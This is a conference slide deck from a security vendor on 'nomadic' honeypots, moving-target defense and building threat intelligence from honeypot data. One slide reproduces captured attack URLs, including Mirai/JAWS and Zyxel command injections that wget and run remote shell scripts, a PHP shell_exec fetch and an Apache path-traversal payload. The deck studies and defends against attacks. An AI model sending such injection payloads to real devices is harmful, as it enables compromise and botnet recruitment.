Nomadic Honeypots: How to Create Actionable CTI

Laurent Oudot | CTO & co-founder | TEHTRIS
Nomadic Honeypots: How to Create Actionable CTI

Outline

Why are honeypots valuable?

01

From static to nomadic honeypots: AMTD Innovation

02

“With a powerful intelligence cycle, comes great responsibilities”

03

... & great results!

04

DIY suggestions: create your own honeypot network
01. Why are honeypots valuable?

What this talk is about...

SETTING UP A WORLDWIDE HONEYPOT NETWORK
SHARING MY EXPERIENCE

CYBER THREAT INTELLIGENCE
INTELLIGIBLE, ACTIONABLE & RELEVANT
CTI TO FACE THE UNPREDICTABLE

ADDRESSING THE CHALLENGE OF PRIORITIZATION IN CYBERSECURITY
EMPIRIC OBSERVATIONS OF WHAT IS REALLY GOING ON...
01. Why are honeypots valuable?

What this talk is about...

With honeypots: **prediction** and **anticipation** to improve protection & detection

- Early Warning
- Automatic answers

NIST CYBERSECURITY FRAMEWORK

https://conference.hitb.org/
01. Why are honeypots valuable?

Back to basics

- **LOW INTERACTION HONEYPOTS**
  - Provide only limited access to the operating system

- **HIGH INTERACTION HONEYPOTS**
  - Offer the adversary a full system to interact with

**DECOY**
- Simulation of kind of real Environment
Example of a tiny & funny low interaction honeypot concept

Feeling lucky? Ask chatGPT... 😏

```python
import socket

# Set up the POP3 server
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind(('localhost', 110))
server_socket.listen()

# Accept incoming connections
while True:
    client_socket, client_address = server_socket.accept()
    print(f'New connection from {client_address}')

# Send fake POP3 banner
client_socket.send(b'OK POP3 server ready\n')

# Receive commands from the client
while True:
    command = client_socket.recv(1024).decode().strip()
    if not command:
        break
    print(f'Received command: {command}')

# Send fake responses based on the command
if command.startswith('USER '):
    client_socket.send(b'+OK\n')
elif command.startswith('PASS '):
    client_socket.send(b'+OK\n')
elif command.startswith('LIST '):
    client_socket.send(b'+OK 1 message\n1 1234\n\n\n')
elif command.startswith('RETR '):
    client_socket.send(b'+OK\n')
    client_socket.send(b'From: honeypot@example.com\n')
    client_socket.send(b'To: victim@example.com\n')
    client_socket.send(b'Subject: Honeypot attack detected\n')
    client_socket.send(b'\n')
    client_socket.send(b'This is a fake email generated by a honeypot\n')
else:
    client_socket.send(b'-ERR\n')

# Close the connection
client_socket.close()
```
01. Why are honeypots valuable?

Back to basics

**EXTERNAL**
- Too noisy
- Interesting weak signals
  (Statistics & Research)

**INTERNAL**
- DMZ-like
- Halfway
  (Valuable)
- Almost no log
  (Highly valuable)
01. Why are honeypots valuable?

Back to basics

Combination of low / high interaction honeypot = covering the whole spectrum of MITRE ATT&CK framework
Nomadic Honeypots: How to Create Actionable CTI

Outline

01 Why are honeypots valuable?

02 From static to nomadic honeypots: AMTD Innovation

03 “With a powerful intelligence cycle, comes great responsibilities”...

04 DIY suggestions: create your own honeypot network

& great results!
02. From Static To Nomadic Honeypots: AMTD Innovation

Setup and evolution of our honeypot network

Phase 1: EUROPE
02. From Static To Nomadic Honeypots: AMTD Innovation

Observation: Decreasing value of the honeypots over the time

Large scale groups of hackers and organized cyber criminal behaviors (samples) \(\rightarrow\) People + Process + Tools

- They crawl massive ranges of IPv4 addresses over the Internet to get many remote accesses
- They maintain huge databases of valuable assets (example: SIEM) (#Vulkan files)
- Potential sharing of databases between some groups
- They have follow-up processes to verify the value of the compromised box
02. From Static To Nomadic Honeypots: AMTD Innovation

Introducing “nomadic honeypots” concept / dynamic fog of war

[Exposed honeypot value curve vs time, by moving the targets]

= Automated Moving Target (Raw logs kept, Target destroyed & moved)
02. From Static To Nomadic Honeypots: AMTD Innovation
Adding Worldwide Distributed infrastructure

[Exposed honeypots value curve vs time with distributed AMTD]

( > 1300 honeypots, > 50 countries )
02. From Static To Nomadic Honeypots: AMTD Innovation

Setup and evolution of our honeypot network

Phase 1 (FROM EUROPE...)

Phase 2 (...TO WORLDWIDE COVERAGE)

( > 1300 honeypots, > 50 countries )

Real-time monitoring of the cyberspace to stay relevant from a defensive standpoint
02. From Static To Nomadic Honeypots: AMTD Innovation
Concept Of Automated Moving Target Defense applied to honeypots

Nomadic honeypots is a use case of the innovative concept of “Automated Moving Target Defense”

02. From Static To Nomadic Honeypots: AMTD Innovation

Concept Of Automated Moving Target Defense applied to honeypots

- Proactive cyber defense mechanisms
- Automation to orchestrate movement in the attack surface
- Use of deception technologies
- Ability to execute intelligent and preplanned change decisions

What asset do we move/change?

When do we move/change the asset, and/or how often (frequency)?

How do we move/change the asset?
O2. From Static To Nomadic Honeypots: AMTD Innovation

Concept Of Automated Moving Target Defense applied to honeypots

Use-case: AMTD honeypots applied to OT / DDOS issues

Step 1: external network scan (which ports open)
Step 2: Assets discovery with targeted scan
Step 3: Connection attempt on SSH Service on the honeypot - as considered as sensitive
Step 4: Connection succeed on the honeypot
Step 5: XDR consolidation and orchestration
Step 6: SOAR action to BL @IP from CDN Edge
Step 7: @IP blocked from the CDN
O2. From Static To Nomadic Honeypots: AMTD Innovation
Concept Of Automated Moving Target Defense applied to honeypots

The future of AMTD?

25% of cloud applications will leverage AMTD features by 2025.

15% of traditional solutions will be displaced at least by 2025.

By 2030, exploit-resistant AMTD based hardware and software will emerge.

BY 2025, AMTD-based solutions will displace at least 15% of traditional solutions.

By 2030, exploit-resistant AMTD based hardware and software will emerge.

OF CLOUD APPLICATIONS WILL LEVERAGE AMTD FEATURES BY 2025
OF TRADITIONAL SOLUTIONS
Nomadic Honeypots: How to Create Actionable CTI

Outline

Why are honeypots valuable? 01

“With a powerful intelligence cycle, comes great responsibilities” 03

... & great results!

From static to nomadic honeypots: AMTD Innovation 02

DIY suggestions: create your own honeypot network 04
With A Powerful Intelligence Cycle, Comes Great Responsibilities... & Great Results!

Constructing your own intelligence cycle

- **Planning**: Creation of concrete and combat-proven cyber threat intelligence
- **Collection**: Setting up worldwide sensors & redirection
- **Analysis**: Visible trends and low signals
- **Dissemination**: Benefit to the overall cybersecurity community
- **Exploitation**: Human-machine complementarity process
O3. « With A Powerful Intelligence Cycle, Comes Great Responsibilities »... & Great Results!

Global trends and observations

<table>
<thead>
<tr>
<th>Port</th>
<th>Protocol</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>22</td>
<td>TCP</td>
<td>SSH Scan, Zmap scans, MS Terminal Server Traffic on Non-standard Port</td>
</tr>
<tr>
<td>5060</td>
<td>UDP</td>
<td>Sipvicious scans, Realtek eCos RSDK/MSDK Stack-based Buffer Overflow (CVE-2022-27255)</td>
</tr>
<tr>
<td>80</td>
<td>TCP</td>
<td>Laravel Debug Mode Information Disclosure probe, Zmap scans, Mirai scans, JAWS webserver unauthenticated shell command execution</td>
</tr>
<tr>
<td>445</td>
<td>TCP</td>
<td>ETERNALBLUE probe, Zmap scans, MS Terminal Server Traffic on Non-standard Port</td>
</tr>
<tr>
<td>161</td>
<td>UDP</td>
<td>Ubee cable modem credential stealing attempt</td>
</tr>
<tr>
<td>53</td>
<td>UDP</td>
<td>DNS named version attempt</td>
</tr>
<tr>
<td>9034</td>
<td>UDP</td>
<td>Realtek SDK - Command Execution/Backdoor Access (CVE-2021-35394)</td>
</tr>
<tr>
<td>623</td>
<td>UDP</td>
<td>IPMI Get Authentication Request</td>
</tr>
<tr>
<td>123</td>
<td>UDP</td>
<td>Possible NTP DDoS Inbound</td>
</tr>
<tr>
<td>177</td>
<td>UDP</td>
<td>RPC xdmcp info query</td>
</tr>
</tbody>
</table>
03. « With A Powerful Intelligence Cycle, Comes Great Responsibilities »... & Great Results!

Global trends and observations

TOP COUNTRIES OF IP ADDRESSES CONDUCTING MALICIOUS ACTIVITIES (March, 23)

- US (40.81%)
- NL (19.93%)
- CN (11.73%)
- MY (6.28%)
- CA (5.42%)
- RU (5.06%)
- BG (4.9%)
- TR (1.75%)
03. « With A Powerful Intelligence Cycle, Comes Great Responsibilities »... & Great Results!

Global trends and observations

<table>
<thead>
<tr>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td>/shell?cd+/	mp;rm+-rf+*;wget+45.81.243[.]34/jaws;sh+/	mp/jaws</td>
</tr>
<tr>
<td>/shell?cd+/	mp;rm+-rf+*;wget+94.158.247[.]123/jaws;sh+/	mp/jaws</td>
</tr>
<tr>
<td>/cgi-bin/,%/%%32%65,%/%%32%65,%/%%32%65,%/%%32%65,%/%%32%65,%/%%32%65/bin/sh</td>
</tr>
<tr>
<td>/shell?cd+/	mp;rm+-rf+*;wget+167.71.210[.]63/jaws;sh+/	mp/jaws</td>
</tr>
<tr>
<td>/a(fetch&amp;content)&lt;php&gt;die(shell_exec(&quot;wget%20-q%20-O%20-194.38.20[.]225/tf.sh</td>
</tr>
<tr>
<td><a href="http://5.188.210.227/echo.php">http://5.188.210.227/echo.php</a></td>
</tr>
<tr>
<td>/nice%20ports%2C/Tri%20Eity.txt%2ebak</td>
</tr>
<tr>
<td>/a(fetch&amp;content)&lt;php&gt;die(shell_exec(&quot;curl%20194.38.20[.]225/tf.sh</td>
</tr>
<tr>
<td>/shell?cd+/	mp;rm+-rf+*;wget+botbet.catbbos.fun/jaws;sh+/	mp/jaws</td>
</tr>
<tr>
<td>/bin/zhttpd/${IFS}cd${IFS}/tmp;rm${IFS}-rf${IFS}+${IFS}wget${IFS}<a href="http://163.123.143%5B.%5D126/x.sh;$%7BIFS%7Dsh$%7BIFS%7Dx.sh">http://163.123.143[.]126/x.sh;${IFS}sh${IFS}x.sh</a>;</td>
</tr>
</tbody>
</table>

Mirai botnet attempting to exploit a Shell Command Execution vulnerability on MVPower digital video recorders

Path traversal attack in Apache HTTP Server - CVE-2021-41773

RCE vulnerability in Zyxel products
With A Powerful Intelligence Cycle, Comes Great Responsibilities »... & Great Results!

Global trends and observations

RECENT AND RELENTLESS USE OF OLD VULNERABILITY EXPLOIT

*Example of CVE-2012-1823*

SURGE OF

**DDoS ATTACKS**

**THE US**

MAIN **SOURCE** OF ATTACK AS WELL AS MAIN **TARGET**

**ATTEMPTS TO ENROLL VULNERABLE IOTS IN**

**BOTNETS**
03. « With A Powerful Intelligence Cycle, Comes Great Responsibilities »... & Great Results!

Fascinating findings on low interaction honeypots

Espionage campaign linked to Iran

<table>
<thead>
<tr>
<th>Date - GMT+02:00</th>
<th>Source IP</th>
<th>URL</th>
<th>User agent (sem_administration / sem_webmail / web_accessLogs)</th>
</tr>
</thead>
<tbody>
<tr>
<td>2023-03-31 03:31:22</td>
<td>83.120.2.175</td>
<td>/wiki.php?title=Espionage_campaign_linked_to_Iran&amp;page=espionage_campaign_linked_to_Iran</td>
<td>SIMCOM_MODULE</td>
</tr>
<tr>
<td>2023-03-31 03:15:58</td>
<td>83.121.9.44</td>
<td>/wiki.php?title=Espionage_campaign_linked_to_Iran&amp;page=espionage_campaign_linked_to_Iran</td>
<td>SIMCOM_MODULE</td>
</tr>
<tr>
<td>2023-03-31 03:00:34</td>
<td>83.121.5.232</td>
<td>/wiki.php?title=Espionage_campaign_linked_to_Iran&amp;page=espionage_campaign_linked_to_Iran</td>
<td>SIMCOM_MODULE</td>
</tr>
<tr>
<td>2023-03-31 02:47:21</td>
<td>83.120.200.132</td>
<td>/wiki.php?title=Espionage_campaign_linked_to_Iran&amp;page=espionage_campaign_linked_to_Iran</td>
<td>SIMCOM_MODULE</td>
</tr>
<tr>
<td>2023-03-30 03:28:47</td>
<td>37.63.212.158</td>
<td>/wiki.php?title=Espionage_campaign_linked_to_Iran&amp;page=espionage_campaign_linked_to_Iran</td>
<td>SIMCOM_MODULE</td>
</tr>
<tr>
<td>2023-03-30 03:13:25</td>
<td>89.196.30.177</td>
<td>/wiki.php?title=Espionage_campaign_linked_to_Iran&amp;page=espionage_campaign_linked_to_Iran</td>
<td>SIMCOM_MODULE</td>
</tr>
<tr>
<td>2023-03-30 02:42:31</td>
<td>37.63.166.227</td>
<td>/wiki.php?title=Espionage_campaign_linked_to_Iran&amp;page=espionage_campaign_linked_to_Iran</td>
<td>SIMCOM_MODULE</td>
</tr>
</tbody>
</table>
03. « With A Powerful Intelligence Cycle, Comes Great Responsibilities »... & Great Results!
Fascinating findings on low interaction honeypots

Recent and significant surge in PHP request

Targeted countries in Europe
03. « With A Powerful Intelligence Cycle, Comes Great Responsibilities »... & Great Results!

Fascinating findings on low interaction honeypots

VMware ESXi / ransomware “.args” / CVE-2021-21974 OpenSLP

Origin countries
03. « With A Powerful Intelligence Cycle, Comes Great Responsibilities »... & Great Results!

**Mid-terms US Elections 🇺🇸**

- Big Up → Cyber Threat Alliance

  - 63 malicious IP addresses that had targeted mid-terms US elections websites shared by our American partners
  - Malicious activities from 13 of them on our European honeypots
  - Extremely valuable since to help characterizing those IP addresses, which were not specifically targeting US infrastructure (targeted? or not?)

https://www.cyberthreatalliance.org
03. « With A Powerful Intelligence Cycle, Comes Great Responsibilities »... & Great Results!

Fascinating findings on low interaction honeypots

**Color1337 : Linux illicit cryptomining campaign**

**Target:** Ubuntu 22.04 in France (high interaction)

**When:** mid-January across a short timeframe (less than 5 minutes)

**What:** mining cryptocurrency, with a strategy to optimize the use of the compromised device’s resources

**How:** use of a Discord server to retrieve data from the compromised machines

**Who:** links with Romania (?) probably linked to a group tracked in 2021 by other security researchers

Source: valhalla.nextron-systems.com

Use of the compromised boxes
- If the box has enough capacity, deploy a miner named diicot ("FastAndSteady" function)
- If not, bounce elsewhere to collect information on other potential targets ("SlowAndSteady" function)

https://tehtris.com/en/blog/linux-focus-on-a-cryptomining-attack-dubbed-color1337
Nomadic Honeypots: How to Create Actionable CTI

Outline

Why are honeypots valuable? 01

“With a powerful intelligence cycle, comes great responsibilities” 03

... & great results!

From static to nomadic honeypots: AMTD Innovation 02

DIY suggestions: create your own honeypot network 04
04. DIY Suggestions: Create Your Own Honeypot Network

Choose your defensive weapons

- [https://github.com/paralax/awesome-honeypots](https://github.com/paralax/awesome-honeypots)
  - TELNET, SSH, WEB, Windows, Email, Databases, RDP...

Risks considerations

- Outbound traffic?
- Entrapment?
- SLA?
- GDPR/Data Privacy?
- Manpower?
You are not alone

Team Work
Join other experts
Join opensource projects
Honeynet Project
https://www.honeynet.org
DIY Suggestions: Create Your Own Honeypot Network

Technical advice on implementing honeypots

- Infrastructure: Low or High? Exposed or not?
- Set-up your fake environment
- Secure the input / output issues
- Choose open services and related ports
- Manage personalities of fake assets
- Control the open vulnerabilities (accounts? exploits?...)
- Collect and export data
- Analyze data
- Create valuable CTI
- (Options? Active Defense / Counter-attack / Counter-measures / Poisoned gifts...)

https://conference.hitb.org/
What is the Matrix?

"Have you ever had a dream, Neo, that you were so sure was real? What if you were unable to wake from that dream? How would you know the difference between the dream world and the real world?"

Morpheus
04. DIY Suggestions: Create Your Own Honeypot Network

```
# iptables -t nat -I PREROUTING -s $YOUR_IP_ADDRESS -p ip -j SNAT --to 223.252.172.204
# nft insert rule ip nat PREROUTING ip saddr $YOUR_IP_ADDRESS counter snat to 223.252.172.204
```

```
hacker@honeypot:~$ w
10:02:19 up 10:02, 2 users, load average: 0.10, 0.03, 0.01
USER   TTY     FROM             LOGIN@ IDLE  JCPU  PCPU WHAT
root   pts/0   223.252.172.204 02:31 19:38 0.08s 0.08s  -bash
hacker pts/1   89.253.220.241 10:02  3.00s 0.12s 0.00s  -bash
```

- Discussions, Profiling, Human fingerprints, Attribution...
- Technical exchanges, Infiltration of hacking groups, Proofs + tools, Fun
Wanna « play » ... with fake devices?

Contact me 😊

https://linkedin.com/in/laurentoudot
Thank you!

Honeypots are not dead 🍯

Knowledge is power 🧠

Big Up:
→ HITB crew (!)
→ TEHTRIS squads 😊

(sample: CIU, CERT, Threat Research, SOC Japan, R&D, E&S, BIZ, MKT...)

#HITB2023AMS
https://conference.hitb.org/